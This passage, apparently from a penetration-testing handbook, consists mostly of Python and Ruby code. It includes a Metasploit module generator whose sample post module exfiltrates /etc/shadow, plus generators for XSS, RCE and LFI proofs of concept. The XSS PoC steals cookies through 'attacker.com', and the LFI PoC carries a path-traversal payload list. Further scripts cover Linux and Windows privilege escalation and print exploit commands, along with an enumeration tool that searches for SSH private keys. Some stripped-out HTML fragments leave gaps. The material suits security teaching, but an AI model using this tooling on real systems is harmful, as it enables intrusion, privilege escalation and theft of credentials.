run_host(ip)\n    print_status(\"Scanning {{ip}}\")\n    \n    res = send_request_cgi({{\n      'method' =&gt; 'GET',\n      'uri' =&gt; normalize_uri(target_uri.path)\n    }})\n    \n    if res\n      print_good(\"{{ip}}:{{rport}} - Response received\")\n      \n      # Extract information\n      info = {{\n        'ip' =&gt; ip,\n        'port' =&gt; rport,\n        'headers' =&gt; res.headers.to_s,\n        'body_length' =&gt; res.body.length\n      }}\n      \n      # Report the service\n      report_service(\n        host: ip,\n        port: rport,\n        name: 'http',\n        info: res.headers['Server']\n      )\n      \n      # Store data\n      report_note(\n        host: ip,\n        port: rport,\n        type: 'http.info',\n        data: info\n      )\n    end\n  end\nend\n'''\n        self.module_code = template\n        return template\n    \n    def generate_post(self, target_info):\n        \"\"\"Generate custom post-exploitation module\"\"\"\n        \n        template = f'''\n##\n# Custom post module for {target_info.get('name', 'Unknown Target')}\n##\n\nclass MetasploitModule &lt; Msf::Post\n  include Msf::Post::File\n  include Msf::Post::Windows::Registry\n  include Msf::Post::Common\n  \n  def initialize(info = {{}})\n    super(update_info(info,\n      'Name'          =&gt; '{target_info.get('name', self.name)}',\n      'Description'   =&gt; %q{{\n        {target_info.get('description', 'Description here')}\n      }},\n      'License'       =&gt; MSF_LICENSE,\n      'Author'        =&gt; {target_info.get('author', ['Your Name'])},\n      'Platform'      =&gt; {target_info.get('platforms', ['win', 'linux'])},\n      'SessionTypes'  =&gt; {target_info.get('session_types', ['meterpreter', 'shell'])}\n    ))\n    \n    register_options([\n      OptString.new('FILE', [true, 'File to download', '{target_info.get('file', '/etc/passwd')}'])\n    ])\n  end\n  \n  def run\n    print_status(\"Running custom post module on session {{session.sid}}\")\n    \n    # Get system info\n    if session.type == 'meterpreter'\n      sysinfo = session.sys.config.sysinfo\n      print_status(\"Target OS: {{sysinfo['OS']}}\")\n    else\n      print_status(\"Shell session, limited functionality\")\n    end\n    \n    # Download file\n    file_path = datastore['FILE']\n    print_status(\"Attempting to download: {{file_path}}\")\n    \n    if file?(file_path)\n      data = read_file(file_path)\n      if data\n        loot_path = store_loot(\n          \"target.file\",\n          \"application/octet-stream\",\n          session,\n          data,\n          File.basename(file_path)\n        )\n        print_good(\"File saved to: {{loot_path}}\")\n      else\n        print_error(\"Failed to read file\")\n      end\n    else\n      print_error(\"File does not exist\")\n    end\n  end\n  \n  def file?(path)\n    if session.type == 'meterpreter'\n      return session.fs.file.stat(path) rescue false\n    else\n      # For shell sessions, try to test file existence\n      test_cmd = session.platform == 'windows' ? \"if exist #{path} echo exists\" : \"test -f #{path} &amp;&amp; echo exists\"\n      result = cmd_exec(test_cmd)\n      return result.include?('exists')\n    end\n  end\n  \n  def read_file(path)\n    if session.type == 'meterpreter'\n      begin\n        fd = session.fs.file.new(path, 'rb')\n        data = fd.read\n        fd.close\n        return data\n      rescue\n        return nil\n      end\n    else\n      # For shell sessions, use cat or type\n      read_cmd = session.platform == 'windows' ? \"type #{path}\" : \"cat #{path}\"\n      return cmd_exec(read_cmd)\n    end\n  end\nend\n'''\n        self.module_code = template\n        return template\n    \n    def validate_module(self):\n        \"\"\"Basic module validation\"\"\"\n        \n        checks = {\n            'has_class': 'class MetasploitModule' in self.module_code,\n            'has_initialize': 'def initialize' in self.module_code,\n            'has_run' or 'has_exploit': ('def run' in self.module_code or 'def exploit' in self.module_code),\n            'includes_msf': 'include Msf::' in self.module_code\n        }\n        \n        passed = all(checks.values())\n        failed = [check for check, passed in checks.items() if not passed]\n        \n        return {\n            'valid': passed,\n            'checks': checks,\n            'failed': failed\n        }\n    \n    def save_module(self, filename):\n        \"\"\"Save module to file\"\"\"\n        with open(filename, 'w') as f:\n            f.write(self.module_code)\n        print(f\"[+] Module saved to {filename}\")\n        \n        # Validate\n        validation = self.validate_module()\n        if validation['valid']:\n            print(\"[+] Module validation passed\")\n        else:\n            print(f\"[-] Module validation failed: {validation['failed']}\")\n\n# Example usage\ngenerator = CustomModuleGenerator('custom_exploit', 'exploit')\n\n# Generate exploit module\ntarget_info = {\n    'name': 'Custom Application Exploit',\n    'description': 'This module exploits a buffer overflow in CustomApp',\n    'author': ['Security Researcher'],\n    'references': [['CVE', '2024-1234']],\n    'platform': 'windows',\n    'targets': {'Windows 10': '0x41414141', 'Windows 7': '0x42424242'},\n    'badchars': '\\\\x00\\\\x0a\\\\x0d',\n    'port': 8080,\n    'path': '/vuln',\n    'banner': 'CustomApp',\n    'offset': 256,\n    'nop_sled': 32,\n    'rank': 'GoodRanking',\n    'date': '2024-01-15'\n}\n\ngenerator.generate_exploit(target_info)\ngenerator.save_module('custom_exploit.rb')\n\n# Generate auxiliary module\naux_info = {\n    'name': 'Custom Service Scanner',\n    'description': 'Scans for CustomApp instances',\n    'author': ['Security Researcher'],\n    'port': 8080,\n    'path': '/'\n}\n\ngenerator.generate_auxiliary(aux_info)\ngenerator.save_module('custom_scanner.rb')\n\n# Generate post module\npost_info = {\n    'name': 'Custom Data Exfiltrator',\n    'description': 'Exfiltrates sensitive data from target',\n    'author': ['Security Researcher'],\n    'platforms': ['win', 'linux'],\n    'session_types': ['meterpreter', 'shell'],\n    'file': '/etc/shadow'\n}\n\ngenerator.generate_post(post_info)\ngenerator.save_module('custom_post.rb')\n```\n\n---\n\n## Chapter 17 \u2014 Manual Exploitation Techniques\n\nWhile automated tools are powerful, manual exploitation techniques are essential for complex or unique scenarios.\n\n### 17.1 Exploit Research\n\nFinding and understanding vulnerabilities is the first step in manual exploitation.\n\n#### 17.1.1 Vulnerability Research Methodology\n\n```python\n#!/usr/bin/env python3\n# exploit_research.py\n\nclass ExploitResearch:\n    def __init__(self, target_info):\n        self.target = target_info\n        self.sources = {\n            'cve': 'https://cve.mitre.org/',\n            'nvd': 'https://nvd.nist.gov/',\n            'exploitdb': 'https://www.exploit-db.com/',\n            'packetstorm': 'https://packetstormsecurity.com/',\n            'seclists': 'https://seclists.org/',\n            'github': 'https://github.com/search?q=',\n            'twitter': 'https://twitter.com/search?q=',\n            'reddit': 'https://www.reddit.com/r/netsec/search?q='\n        }\n        \n    def search_cve(self, software, version):\n        \"\"\"Search for CVEs related to software/version\"\"\"\n        \n        import requests\n        from bs4 import BeautifulSoup\n        \n        print(f\"[*] Searching for CVEs in {software} {version}\")\n        \n        # Search NVD\n        url = f\"https://nvd.nist.gov/vuln/search/results?form_type=Basic&amp;results_type=overview&amp;query={software}+{version}&amp;search_type=all\"\n        \n        try:\n            response = requests.get(url)\n            if response.status_code == 200:\n                soup = BeautifulSoup(response.text, 'html.parser')\n                \n                # Extract CVE entries\n                cves = []\n                for link in soup.find_all('a'):\n                    href = link.get('href', '')\n                    if '/vuln/detail/CVE-' in href:\n                        cve_id = href.split('/')[-1]\n                        if cve_id not in cves:\n                            cves.append(cve_id)\n                \n                return cves[:10]  # Return first 10\n        except:\n            pass\n            \n        return []\n    \n    def search_exploitdb(self, cve_id):\n        \"\"\"Search Exploit-DB for specific CVE\"\"\"\n        \n        url = f\"https://www.exploit-db.com/search?cve={cve_id}\"\n        \n        print(f\"[*] Searching Exploit-DB for {cve_id}\")\n        \n        # In practice, would parse results\n        # For now, return search URL\n        return url\n    \n    def analyze_exploit(self, exploit_code):\n        \"\"\"Analyze exploit code for understanding\"\"\"\n        \n        analysis = {\n            'language': None,\n            'type': None,\n            'requirements': [],\n            'limitations': []\n        }\n        \n        # Simple language detection\n        if 'import' in exploit_code and ('def ' in exploit_code or 'class ' in exploit_code):\n            analysis['language'] = 'Python'\n        elif 'include &lt;' in exploit_code:\n            analysis['language'] = 'C/C++'\n        elif ' [param]\")\n        sys.exit(1)\n        \n    url = sys.argv[1]\n    param = sys.argv[2] if len(sys.argv) &gt; 2 else \"id\"\n    \n    test_sqli(url, param)\n'''\n        return poc\n    \n    def create_xss_poc(self, target):\n        \"\"\"Create XSS PoC\"\"\"\n        \n        poc = f'''\n\n\n    XSS PoC - {self.cve_id}\n\n\n    \nXSS Proof of Concept\n    \nThis page demonstrates the XSS vulnerability\n    \n    \n\n    \n    \n        // XSS payload\n        var payload = '';\n        \n        // Inject into vulnerable element\n        document.getElementById('vulnerable').innerHTML = payload;\n        \n        // Alternative: steal cookies\n        function stealCookies() {{\n            var img = new Image();\n            img.src = 'http://attacker.com/steal?cookie=' + document.cookie;\n        }}\n    \n    \n    \nIf you see an alert box, the vulnerability exists.\n\n\n'''\n        return poc\n    \n    def create_rce_poc(self, target):\n        \"\"\"Create RCE PoC\"\"\"\n        \n        poc = f'''#!/usr/bin/env python3\n# RCE PoC for {self.cve_id}\n\nimport requests\nimport sys\nimport urllib.parse\n\ndef exploit(target_url, command):\n    \"\"\"Execute command on target\"\"\"\n    \n    # Adjust based on vulnerability\n    payload = {{'cmd': command}}\n    \n    try:\n        response = requests.get(target_url, params=payload, timeout=10)\n        \n        if response.status_code == 200:\n            print(\"[+] Command executed successfully\")\n            print(\"Output:\")\n            print(response.text)\n        else:\n            print(f\"[-] Failed with status code: {{response.status_code}}\")\n            \n    except Exception as e:\n        print(f\"Error: {{e}}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 3:\n        print(f\"Usage: {{sys.argv[0]}}  \")\n        sys.exit(1)\n        \n    url = sys.argv[1]\n    cmd = sys.argv[2]\n    \n    exploit(url, cmd)\n'''\n        return poc\n    \n    def create_lfi_poc(self, target):\n        \"\"\"Create LFI PoC\"\"\"\n        \n        poc = f'''#!/usr/bin/env python3\n# LFI PoC for {self.cve_id}\n\nimport requests\nimport sys\n\ndef test_lfi(base_url, param):\n    \"\"\"Test LFI vulnerability\"\"\"\n    \n    files = [\n        '/etc/passwd',\n        '/etc/hosts',\n        '/etc/issue',\n        '/var/log/apache2/access.log',\n        '../../../../etc/passwd',\n        '....//....//....//etc/passwd',\n        'php://filter/convert.base64-encode/resource=index.php'\n    ]\n    \n    print(f\"Testing LFI on {{base_url}}\")\n    \n    for file_path in files:\n        params = {{param: file_path}}\n        try:\n            response = requests.get(base_url, params=params, timeout=5)\n            \n            if response.status_code == 200:\n                if \"root:\" in response.text or \" [param]\")\n        sys.exit(1)\n        \n    url = sys.argv[1]\n    param = sys.argv[2] if len(sys.argv) &gt; 2 else \"file\"\n    \n    test_lfi(url, param)\n'''\n        return poc\n\n# Example usage\nreproducer = CVEReproducer('CVE-2021-41773')\n\n# Get CVE info\ninfo = reproducer.get_cve_info()\nprint(json.dumps(info, indent=2))\n\n# Create PoC\npoc = reproducer.create_poc('rce', {'target': 'localhost'})\nprint(\"\\n[+] Generated PoC:\")\nprint(poc)\n```\n\n### 17.3 Privilege Escalation\n```python\n    def check_groups(self):\n        \"\"\"Check group memberships for privilege escalation vectors\"\"\"\n        \n        print(\"\\n[*] Checking group memberships...\")\n        \n        dangerous_groups = {\n            'docker': 'Can mount host filesystem: docker run -v /:/host -it alpine chroot /host',\n            'lxd': 'Can access host filesystem: lxd init &amp;&amp; lxc launch ubuntu:18.04 -c security.privileged=true',\n            'disk': 'Can access raw disk devices: debugfs /dev/sda1',\n            'video': 'Can access frame buffer (keylogging)',\n            'audio': 'Can record audio',\n            'adm': 'Can read log files: /var/log/auth.log',\n            'wheel': 'Can sudo',\n            'sudo': 'Can sudo',\n            'root': 'Already root!'\n        }\n        \n        try:\n            # Get current user's groups\n            user = os.getenv('USER')\n            result = subprocess.run(['groups'], capture_output=True, text=True)\n            \n            if result.returncode == 0:\n                user_groups = result.stdout.strip().split()\n                for group in user_groups:\n                    if group in dangerous_groups:\n                        print(f\"[!] User is in dangerous group: {group}\")\n                        print(f\"    Exploit: {dangerous_groups[group]}\")\n                        \n            # Check /etc/group for interesting entries\n            with open('/etc/group', 'r') as f:\n                for line in f:\n                    parts = line.strip().split(':')\n                    if len(parts) &gt;= 4 and parts[3]:\n                        group_name = parts[0]\n                        members = parts[3].split(',')\n                        if group_name in dangerous_groups and user in members:\n                            print(f\"[!] User is in {group_name} group via /etc/group\")\n                            \n        except Exception as e:\n            print(f\"Error checking groups: {e}\")\n    \n    def check_kernel_version(self):\n        \"\"\"Check kernel version for known exploits\"\"\"\n        \n        print(\"\\n[*] Checking kernel version...\")\n        \n        try:\n            result = subprocess.run(['uname', '-a'], capture_output=True, text=True)\n            kernel = result.stdout.strip()\n            print(f\"[+] Kernel: {kernel}\")\n            \n            # Known vulnerable kernels\n            vulnerable_versions = {\n                '2.6.': ['2.6.39 and below', 'CVE-2016-5195 (DirtyCow)'],\n                '3.0.': ['3.0.0 - 3.19.8', 'Overlayfs'],\n                '3.10.0': ['RHEL/CentOS 7', 'CVE-2017-1000112'],\n                '4.4.': ['Ubuntu 16.04', 'CVE-2017-16995'],\n                '4.8.': ['4.8.0-4.8.5', 'CVE-2016-8655'],\n                '4.10.': ['4.10.0-4.10.17', 'CVE-2017-1000112'],\n                '4.13.': ['4.13.0-4.13.16', 'CVE-2017-16995'],\n                '5.3.': ['5.3.0-5.3.18', 'CVE-2019-18634']\n            }\n            \n            for version, info in vulnerable_versions.items():\n                if version in kernel:\n                    print(f\"[!] Potentially vulnerable kernel: {version}\")\n                    print(f\"    {info[0]}: {info[1]}\")\n                    \n        except Exception as e:\n            print(f\"Error checking kernel: {e}\")\n    \n    def check_mysql_root(self):\n        \"\"\"Check if MySQL is running as root\"\"\"\n        \n        print(\"\\n[*] Checking MySQL processes...\")\n        \n        try:\n            result = subprocess.run(['ps', 'aux', '|', 'grep', 'mysql'], \n                                  capture_output=True, text=True, shell=True)\n            \n            if 'mysql' in result.stdout.lower():\n                for line in result.stdout.split('\\n'):\n                    if 'mysql' in line.lower() and 'root' in line:\n                        print(f\"[!] MySQL running as root: {line}\")\n                        print(\"    Exploit: SELECT ... INTO OUTFILE '/root/.ssh/authorized_keys'\")\n                        \n        except Exception as e:\n            pass\n    \n    def check_nfs_shares(self):\n        \"\"\"Check NFS shares configuration\"\"\"\n        \n        print(\"\\n[*] Checking NFS shares...\")\n        \n        try:\n            if os.path.exists('/etc/exports'):\n                with open('/etc/exports', 'r') as f:\n                    for line in f:\n                        if 'no_root_squash' in line:\n                            print(f\"[!] NFS share with no_root_squash: {line.strip()}\")\n                            print(\"    Exploit: mount -o rw,vers=2 share /mnt/nfs\")\n                            print(\"             Create setuid binary on share\")\n                            \n        except Exception as e:\n            pass\n    \n    def check_environment_variables(self):\n        \"\"\"Check environment variables for privilege escalation vectors\"\"\"\n        \n        print(\"\\n[*] Checking environment variables...\")\n        \n        dangerous_env = {\n            'LD_PRELOAD': 'Can load arbitrary libraries',\n            'LD_LIBRARY_PATH': 'Can hijack library loading',\n            'PATH': 'If writable directory in PATH',\n            'PYTHONPATH': 'Can hijack Python imports',\n            'PERL5LIB': 'Can hijack Perl imports',\n            'RUBYLIB': 'Can hijack Ruby imports'\n        }\n        \n        for env_var, desc in dangerous_env.items():\n            value = os.environ.get(env_var)\n            if value:\n                print(f\"[!] {env_var} is set: {value}\")\n                print(f\"    Danger: {desc}\")\n    \n    def check_docker_socket(self):\n        \"\"\"Check for accessible Docker socket\"\"\"\n        \n        print(\"\\n[*] Checking Docker socket...\")\n        \n        docker_socket = '/var/run/docker.sock'\n        if os.path.exists(docker_socket) and os.access(docker_socket, os.R_OK|os.W_OK):\n            print(f\"[!] Docker socket is writable: {docker_socket}\")\n            print(\"    Exploit: docker run -v /:/host -it alpine chroot /host\")\n    \n    def run_all_checks(self):\n        \"\"\"Run all privilege escalation checks\"\"\"\n        \n        print(\"=\" * 60)\n        print(\"LINUX PRIVILEGE ESCALATION CHECKLIST\")\n        print(\"=\" * 60)\n        \n        self.check_kernel_version()\n        self.check_sudo()\n        self.check_suid()\n        self.check_capabilities()\n        self.check_cron()\n        self.check_writable_files()\n        self.check_writable_directories()\n        self.check_groups()\n        self.check_mysql_root()\n        self.check_nfs_shares()\n        self.check_environment_variables()\n        self.check_docker_socket()\n        \n        print(\"\\n\" + \"=\" * 60)\n        print(\"PRIVILEGE ESCALATION CHECK COMPLETE\")\n        print(\"=\" * 60)\n\n# Example usage\nprivesc = LinuxPrivEsc()\nprivesc.run_all_checks()\n```\n\n#### 17.3.2 Automated Linux Enumeration Script\n\n```python\n#!/usr/bin/env python3\n# linux_enum.py - Comprehensive Linux enumeration script\n\nimport os\nimport sys\nimport pwd\nimport grp\nimport subprocess\nimport socket\nimport platform\nfrom datetime import datetime\n\nclass LinuxEnumerator:\n    def __init__(self):\n        self.output = []\n        self.vulnerabilities = []\n        \n    def log(self, message, level=\"INFO\"):\n        timestamp = datetime.now().strftime(\"%H:%M:%S\")\n        self.output.append(f\"[{timestamp}][{level}] {message}\")\n        \n    def run_command(self, cmd, shell=True):\n        \"\"\"Run command and return output\"\"\"\n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True, shell=shell, timeout=5)\n            return result.stdout.strip()\n        except:\n            return \"\"\n    \n    def enumerate_system_info(self):\n        \"\"\"Enumerate basic system information\"\"\"\n        \n        self.log(\"=\" * 60)\n        self.log(\"SYSTEM INFORMATION\")\n        self.log(\"=\" * 60)\n        \n        # Hostname\n        hostname = socket.gethostname()\n        self.log(f\"Hostname: {hostname}\")\n        \n        # OS Information\n        os_info = self.run_command(\"cat /etc/os-release | grep -E 'PRETTY_NAME|VERSION'\")\n        self.log(f\"OS: {os_info}\")\n        \n        # Kernel version\n        kernel = self.run_command(\"uname -a\")\n        self.log(f\"Kernel: {kernel}\")\n        \n        # Architecture\n        arch = platform.machine()\n        self.log(f\"Architecture: {arch}\")\n        \n        # Uptime\n        uptime = self.run_command(\"uptime\")\n        self.log(f\"Uptime: {uptime}\")\n        \n        # Current user\n        user = self.run_command(\"whoami\")\n        self.log(f\"Current user: {user}\")\n        \n        # User ID\n        uid_info = self.run_command(\"id\")\n        self.log(f\"ID: {uid_info}\")\n        \n    def enumerate_users(self):\n        \"\"\"Enumerate users and groups\"\"\"\n        \n        self.log(\"\\n\" + \"=\" * 60)\n        self.log(\"USER ENUMERATION\")\n        self.log(\"=\" * 60)\n        \n        # List users from /etc/passwd\n        self.log(\"Users from /etc/passwd:\")\n        with open('/etc/passwd', 'r') as f:\n            for line in f:\n                if '/bin/bash' in line or '/bin/sh' in line or '/bin/zsh' in line:\n                    parts = line.strip().split(':')\n                    self.log(f\"  {parts[0]}:{parts[5]} ({parts[6]})\")\n                    \n        # Current logged in users\n        logged_in = self.run_command(\"who\")\n        self.log(f\"\\nLogged in users:\\n{logged_in}\")\n        \n        # Last logins\n        last = self.run_command(\"last -n 10 | grep -v 'wtmp'\")\n        self.log(f\"\\nLast 10 logins:\\n{last}\")\n        \n        # Sudoers\n        sudoers = self.run_command(\"cat /etc/sudoers 2&gt;/dev/null | grep -v '#'\")\n        if sudoers:\n            self.log(\"\\nSudoers entries:\")\n            self.log(sudoers)\n            \n    def enumerate_network(self):\n        \"\"\"Enumerate network configuration\"\"\"\n        \n        self.log(\"\\n\" + \"=\" * 60)\n        self.log(\"NETWORK ENUMERATION\")\n        self.log(\"=\" * 60)\n        \n        # Interfaces\n        interfaces = self.run_command(\"ip addr show\")\n        self.log(f\"Network interfaces:\\n{interfaces}\")\n        \n        # Routing table\n        routes = self.run_command(\"route -n\")\n        self.log(f\"\\nRouting table:\\n{routes}\")\n        \n        # DNS servers\n        if os.path.exists('/etc/resolv.conf'):\n            with open('/etc/resolv.conf', 'r') as f:\n                self.log(f\"\\nDNS servers:\\n{f.read()}\")\n                \n        # ARP cache\n        arp = self.run_command(\"arp -a\")\n        self.log(f\"\\nARP cache:\\n{arp}\")\n        \n        # Open ports\n        netstat = self.run_command(\"netstat -tulpn 2&gt;/dev/null | grep LISTEN\")\n        self.log(f\"\\nListening ports:\\n{netstat}\")\n        \n        # Active connections\n        connections = self.run_command(\"ss -tunp\")\n        self.log(f\"\\nActive connections:\\n{connections}\")\n        \n    def enumerate_processes(self):\n        \"\"\"Enumerate running processes\"\"\"\n        \n        self.log(\"\\n\" + \"=\" * 60)\n        self.log(\"PROCESS ENUMERATION\")\n        self.log(\"=\" * 60)\n        \n        # Running processes\n        ps = self.run_command(\"ps auxf\")\n        self.log(f\"Running processes (first 50):\\n{ps[:2000]}\")\n        \n        # Processes running as root\n        root_procs = self.run_command(\"ps aux | grep '^root'\")\n        self.log(f\"\\nProcesses running as root:\\n{root_procs}\")\n        \n        # Interesting processes\n        interesting = ['apache', 'nginx', 'mysql', 'postgres', 'tomcat', 'docker', 'kube']\n        for proc in interesting:\n            count = self.run_command(f\"ps aux | grep -c {proc}\")\n            if count and int(count) &gt; 0:\n                self.log(f\"[!] {proc} is running\")\n                \n    def enumerate_filesystem(self):\n        \"\"\"Enumerate filesystem for interesting files\"\"\"\n        \n        self.log(\"\\n\" + \"=\" * 60)\n        self.log(\"FILESYSTEM ENUMERATION\")\n        self.log(\"=\" * 60)\n        \n        # SUID binaries\n        suid = self.run_command(\"find / -perm -4000 -type f -ls 2&gt;/dev/null | head -20\")\n        self.log(f\"SUID binaries:\\n{suid}\")\n        \n        # SGID binaries\n        sgid = self.run_command(\"find / -perm -2000 -type f -ls 2&gt;/dev/null | head -20\")\n        self.log(f\"\\nSGID binaries:\\n{sgid}\")\n        \n        # World-writable files\n        writable = self.run_command(\"find / -perm -2 -type f -ls 2&gt;/dev/null | head -20\")\n        self.log(f\"\\nWorld-writable files:\\n{writable}\")\n        \n        # Files with capabilities\n        caps = self.run_command(\"getcap -r / 2&gt;/dev/null | head -20\")\n        self.log(f\"\\nFiles with capabilities:\\n{caps}\")\n        \n        # SSH keys\n        ssh_keys = self.run_command(\"find /home -name 'id_rsa' -o -name 'id_dsa' 2&gt;/dev/null\")\n        if ssh_keys:\n            self.log(f\"\\n[!] Found SSH private keys:\\n{ssh_keys}\")\n            \n        # Configuration files\n        configs = self.run_command(\"find / -name '*.conf' -o -name '*.config' 2&gt;/dev/null | head -20\")\n        self.log(f\"\\nConfiguration files:\\n{configs}\")\n        \n        # Log files\n        logs = self.run_command(\"find /var/log -type f -name '*.log' 2&gt;/dev/null | head -10\")\n        self.log(f\"\\nLog files:\\n{logs}\")\n        \n    def enumerate_cron(self):\n        \"\"\"Enumerate cron jobs\"\"\"\n        \n        self.log(\"\\n\" + \"=\" * 60)\n        self.log(\"CRON ENUMERATION\")\n        self.log(\"=\" * 60)\n        \n        # System crontab\n        if os.path.exists('/etc/crontab'):\n            with open('/etc/crontab', 'r') as f:\n                self.log(f\"/etc/crontab:\\n{f.read()}\")\n                \n        # Cron directories\n        cron_dirs = ['/etc/cron.d', '/etc/cron.daily', '/etc/cron.hourly', \n                    '/etc/cron.monthly', '/etc/cron.weekly']\n        \n        for cron_dir in cron_dirs:\n            if os.path.exists(cron_dir):\n                files = os.listdir(cron_dir)\n                if files:\n                    self.log(f\"\\n{cron_dir}: {', '.join(files)}\")\n                    \n        # User crontabs\n        user_crons = self.run_command(\"ls -la /var/spool/cron/crontabs/ 2&gt;/dev/null\")\n        if user_crons:\n            self.log(f\"\\nUser crontabs:\\n{user_crons}\")\n            \n    def enumerate_services(self):\n        \"\"\"Enumerate running services\"\"\"\n        \n        self.log(\"\\n\" + \"=\" * 60)\n        self.log(\"SERVICE ENUMERATION\")\n        self.log(\"=\" * 60)\n        \n        # Systemd services\n        services = self.run_command(\"systemctl list-units --type=service --all | head -20\")\n        self.log(f\"Systemd services:\\n{services}\")\n        \n        # Init.d scripts\n        if os.path.exists('/etc/init.d'):\n            scripts = os.listdir('/etc/init.d')\n            self.log(f\"\\nInit.d scripts: {', '.join(scripts[:20])}\")\n            \n        # Docker containers\n        docker = self.run_command(\"docker ps -a 2&gt;/dev/null\")\n        if docker:\n            self.log(f\"\\nDocker containers:\\n{docker}\")\n            \n    def check_vulnerabilities(self):\n        \"\"\"Check for common vulnerabilities\"\"\"\n        \n        self.log(\"\\n\" + \"=\" * 60)\n        self.log(\"VULNERABILITY CHECKS\")\n        self.log(\"=\" * 60)\n        \n        # Check kernel for known vulnerabilities\n        kernel = self.run_command(\"uname -r\")\n        \n        # Dirty Cow (CVE-2016-5195)\n        if kernel and kernel.startswith('2.6.'):\n            self.log(\"[!] Possibly vulnerable to Dirty Cow (CVE-2016-5195)\")\n            self.vulnerabilities.append(\"Dirty Cow\")\n            \n        # Overlayfs (CVE-2015-1328)\n        if kernel and kernel.startswith('3.13.0') or kernel.startswith('3.16.0'):\n            self.log(\"[!] Possibly vulnerable to Overlayfs (CVE-2015-1328)\")\n            self.vulnerabilities.append(\"Overlayfs\")\n            \n        # Check sudo version\n        sudo_version = self.run_command(\"sudo --version | head -1\")\n        if '1.8.' in sudo_version:\n            self.log(\"[!] Older sudo version may be vulnerable\")\n            self.vulnerabilities.append(\"Old sudo version\")\n            \n        # Check for writable /etc/passwd\n        if os.path.exists('/etc/passwd') and os.access('/etc/passwd', os.W_OK):\n            self.log(\"[!] /etc/passwd is writable!\")\n            self.vulnerabilities.append(\"Writable /etc/passwd\")\n            \n        # Check for writable /etc/shadow\n        if os.path.exists('/etc/shadow') and os.access('/etc/shadow', os.W_OK):\n            self.log(\"[!] /etc/shadow is writable!\")\n            self.vulnerabilities.append(\"Writable /etc/shadow\")\n            \n    def generate_report(self):\n        \"\"\"Generate final report\"\"\"\n        \n        report = \"\\n\" + \"=\" * 60\n        report += \"\\nLINUX ENUMERATION REPORT\\n\"\n        report += \"=\" * 60 + \"\\n\"\n        report += f\"Generated: {datetime.now()}\\n\"\n        report += f\"Hostname: {socket.gethostname()}\\n\"\n        report += f\"User: {self.run_command('whoami')}\\n\"\n        report += \"=\" * 60 + \"\\n\\n\"\n        \n        report += \"\\n\".join(self.output)\n        \n        report += \"\\n\\n\" + \"=\" * 60\n        report += \"\\nVULNERABILITY SUMMARY\\n\"\n        report += \"=\" * 60 + \"\\n\"\n        \n        if self.vulnerabilities:\n            for vuln in self.vulnerabilities:\n                report += f\"[!] {vuln}\\n\"\n        else:\n            report += \"[+] No obvious vulnerabilities found\\n\"\n            \n        return report\n    \n    def save_report(self, filename):\n        \"\"\"Save report to file\"\"\"\n        \n        report = self.generate_report()\n        with open(filename, 'w') as f:\n            f.write(report)\n        print(f\"[+] Report saved to {filename}\")\n\n# Example usage\nenumerator = LinuxEnumerator()\nenumerator.enumerate_system_info()\nenumerator.enumerate_users()\nenumerator.enumerate_network()\nenumerator.enumerate_processes()\nenumerator.enumerate_filesystem()\nenumerator.enumerate_cron()\nenumerator.enumerate_services()\nenumerator.check_vulnerabilities()\n\nenumerator.save_report(\"linux_enum_report.txt\")\n```\n\n### 17.4 Privilege Escalation (Windows)\n\nWindows privilege escalation requires understanding of Windows-specific security mechanisms.\n\n#### 17.4.1 Windows Privilege Escalation Techniques\n\n```python\n#!/usr/bin/env python3\n# windows_privesc.py\n\nimport subprocess\nimport os\nimport re\n\nclass WindowsPrivEsc:\n    def __init__(self):\n        self.techniques = {\n            'kernel_exploit': 'Exploit Windows kernel vulnerabilities',\n            'service_permissions': 'Misconfigured service permissions',\n            'unquoted_paths': 'Unquoted service paths',\n            'weak_service_permissions': 'Weak service ACLs',\n            'always_install_elevated': 'AlwaysInstallElevated registry key',\n            'scheduled_tasks': 'Misconfigured scheduled tasks',\n            'startup_apps': 'Startup applications',\n            'dll_hijacking': 'DLL hijacking',\n            'token_impersonation': 'Token impersonation',\n            'registry_checks': 'Writable registry keys',\n            'seimpersonate': 'SeImpersonatePrivilege enabled'\n        }\n        \n    def check_windows_version(self):\n        \"\"\"Check Windows version and build\"\"\"\n        \n        print(\"[*] Checking Windows version...\")\n        \n        try:\n            result = subprocess.run(['systeminfo'], capture_output=True, text=True)\n            \n            for line in result.stdout.split('\\n'):\n                if 'OS Name' in line:\n                    print(f\"[+] {line.strip()}\")\n                if 'OS Version' in line:\n                    print(f\"[+] {line.strip()}\")\n                    version = line.split(':')[1].strip()\n                    \n                    # Check for known vulnerable versions\n                    if '7601' in version:  # Windows 7 SP1\n                        print(\"[!] Windows 7 SP1 - potentially vulnerable to EternalBlue\")\n                    elif '14393' in version:  # Windows 10 1607\n                        print(\"[!] Windows 10 1607 - check for recent exploits\")\n                        \n        except Exception as e:\n            print(f\"Error checking version: {e}\")\n    \n    def check_whoami(self):\n        \"\"\"Check current user privileges\"\"\"\n        \n        print(\"\\n[*] Checking current user privileges...\")\n        \n        try:\n            # Check whoami\n            result = subprocess.run(['whoami', '/all'], capture_output=True, text=True)\n            \n            for line in result.stdout.split('\\n'):\n                if 'SeImpersonatePrivilege' in line and 'Enabled' in line:\n                    print(\"[!] SeImpersonatePrivilege is enabled!\")\n                    print(\"    Exploit: Use JuicyPotato or PrintSpoofer\")\n                if 'SeAssignPrimaryTokenPrivilege' in line and 'Enabled' in line:\n                    print(\"[!] SeAssignPrimaryTokenPrivilege is enabled!\")\n                if 'SeCreateTokenPrivilege' in line and 'Enabled' in line:\n                    print(\"[!] SeCreateTokenPrivilege is enabled!\")\n                if 'SeDebugPrivilege' in line and 'Enabled' in line:\n                    print(\"[!] SeDebugPrivilege is enabled!\")\n                    \n        except Exception as e:\n            print(f\"Error checking privileges: {e}\")\n    \n    def check_service_permissions(self):\n        \"\"\"Check service permissions with sc and accesschk\"\"\"\n        \n        print(\"\\n[*] Checking service permissions...\")\n        \n        try:\n            # List services\n            result = subprocess.run(['sc', 'query'], capture_output=True, text=True)\n            services = re.findall(r'SERVICE_NAME: (.*)', result.stdout)\n            \n            for service in services[:20]:  # Check first 20\n                # Check service config\n                config = subprocess.run(['sc', 'qc', service], capture_output=True, text=True)\n                \n                # Look for unquoted paths\n                for line in config.stdout.split('\\n'):\n                    if 'BINARY_PATH_NAME' in line:\n                        path = line.split(':')[1].strip()\n                        if ' ' in path and '\"' not in path:\n                            print(f\"[!] Unquoted service path: {service} - {path}\")\n                            \n                # Check service permissions (requires accesschk from Sysinternals)\n                # accesschk = subprocess.run(['accesschk.exe', service], capture_output=True)\n                \n        except Exception as 